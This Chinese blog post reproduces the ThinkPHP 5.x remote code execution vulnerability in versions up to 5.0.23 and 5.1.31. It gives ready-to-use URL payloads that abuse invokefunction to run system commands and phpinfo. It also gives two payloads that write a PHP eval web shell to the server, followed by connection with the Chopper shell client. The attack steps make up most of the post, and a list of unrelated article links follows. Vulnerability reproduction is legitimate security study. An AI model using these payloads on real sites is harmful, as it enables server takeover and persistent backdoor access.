ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
php 自写函数代码 获取关键字 去超链接
Feb 08 PHP
php echo, print, print_r, sprintf, var_dump, var_expor的使用区别
Jun 20 PHP
destoon二次开发常用数据库操作
Jun 21 PHP
php数组去除空值函数分享
Feb 02 PHP
golang与php实现计算两个经纬度之间距离的方法
Jul 22 PHP
Zend Framework框架实现类似Google搜索分页效果
Nov 25 PHP
EarthLiveSharp中cloudinary的CDN图片缓存自动清理python脚本
Apr 04 PHP
PHP解决中文乱码
Apr 28 PHP
彻底搞懂PHP 变量结构体
Oct 11 PHP
关于php unset对json_encode的影响详解
Nov 14 PHP
ThinkPHP3.2框架操作Redis的方法分析
May 05 PHP
PHP的new static和new self的区别与使用
Nov 27 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
超级简单的发送邮件程序
2006/10/09 PHP
PHP+Ajax实现无刷新分页实例详解(附demo源码下载)
2016/04/07 PHP
PHP7扩展开发教程之Hello World实现方法示例
2017/08/03 PHP
Jquery实战_读书笔记1—选择jQuery
2010/01/22 Javascript
jquery 的 $(&quot;#id&quot;).html() 无内容的解决方法
2010/06/07 Javascript
有关于eclipse配置spket需要注意的一些地方
2013/04/07 Javascript
Node.js生成HttpStatusCode辅助类发布到npm
2013/04/09 Javascript
浅析hasOwnProperty方法的应用
2013/11/20 Javascript
jquery实现保存已选用户
2014/07/21 Javascript
javascript获取网页宽高方法汇总
2015/07/19 Javascript
纯JS打造网页中checkbox和radio的美化效果
2016/10/13 Javascript
Javascript的this用法
2017/01/16 Javascript
利用vscode编写vue的简单配置详解
2017/06/17 Javascript
js实现数组内数据的上移和下移的实例
2017/11/14 Javascript
jQuery niceScroll滚动条错位问题的解决方法
2018/02/03 jQuery
使用vue的transition完成滑动过渡的示例代码
2018/06/25 Javascript
js实现数字跳动到指定数字
2020/08/25 Javascript
[05:48]DOTA2英雄梦之声vol21 屠夫
2014/06/20 DOTA
Python的设计模式编程入门指南
2015/04/02 Python
Python实现文件复制删除
2016/04/19 Python
Python中文分词实现方法(安装pymmseg)
2016/06/14 Python
python实现猜单词小游戏
2020/05/22 Python
python 实现dict转json并保存文件
2019/12/05 Python
Python3标准库之threading进程中管理并发操作方法
2020/03/30 Python
Python GUI编程学习笔记之tkinter控件的介绍及基本使用方法详解
2020/03/30 Python
日本最大的眼镜购物网站:Oh My Glasses
2016/11/13 全球购物
C#如何调用Word并打开一个Word文档
2013/05/08 面试题
买卖协议书范本
2014/04/21 职场文书
服务型党组织建设典型材料
2014/05/07 职场文书
小学爱国卫生月活动总结
2014/06/30 职场文书
交通事故委托书范本(2篇)
2014/09/21 职场文书
2014大学校园光棍节活动策划书
2014/09/29 职场文书
法院四风对照检查材料思想汇报
2014/10/06 职场文书
2014年帮扶工作总结
2014/11/26 职场文书
简爱电影观后感
2015/06/10 职场文书
升学宴来宾致辞
2015/07/27 职场文书